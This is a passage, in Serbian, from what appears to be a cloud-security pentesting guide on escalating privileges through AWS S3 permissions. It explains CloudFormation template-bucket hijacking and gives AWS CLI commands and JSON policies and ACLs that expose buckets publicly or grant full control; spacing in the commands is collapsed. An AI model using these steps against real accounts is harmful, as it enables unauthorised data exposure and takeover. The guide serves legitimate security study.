Napadač sa ovim dozvolama nad interesantnim bucket-ima može preuzeti resurse i eskalirati privilegije.
Na primer, napadač sa ovim dozvolama nad cloudformation bucket-om nazvanim "cf-templates-nohnwfax6a6i-us-east-1" može preuzeti deployment. Pristup može biti dat sledećom politikom:
I hakovanje je moguće jer postoji kratki vremenski prozor od trenutka kada se šablon postavi u kantu do trenutka kada se šablon implementira. Napadač može kreirati lambda funkciju u svom nalogu koja će biti aktivirana kada se pošalje obaveštenje o kanti, i preuzetisadržaj te kante.
Ovo su dozvole za preuzimanje i otpremanje objekata u S3. Više AWS usluga (i van nje) koristi S3 skladište za čuvanje konfiguracionih fajlova.
Napadač sa pristupom čitanja može pronaći osetljive informacije u njima.
Napadač sa pristupom pisanja može modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije.
Ovo su neki primeri:
Ako EC2 instanca čuva korisničke podatke u S3 kanti, napadač bi mogao da ih modifikuje da bi izvršio proizvoljan kod unutar EC2 instance.
s3:PutBucketPolicy
Napadač, koji mora biti iz istog naloga, u suprotnom će se pojaviti greška The specified method is not allowed, sa ovom dozvolom će moći da sebi dodeli više dozvola nad kantama omogućavajući mu čitanje, pisanje, modifikaciju, brisanje i izlaganje kanti.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Napadač bi mogao zloupotrebiti ove dozvole da bi mu se dodelio veći pristup određenim kantama.
Imajte na umu da napadač ne mora biti iz istog naloga. Osim toga, ima pristup za pisanje.
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Napadač bi mogao zloupotrebiti ove dozvole kako bi sebi omogućio veći pristup određenim objektima unutar kanti.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Napadač koji ima ove privilegije trebao bi moći da postavi Acl na određenu verziju objekta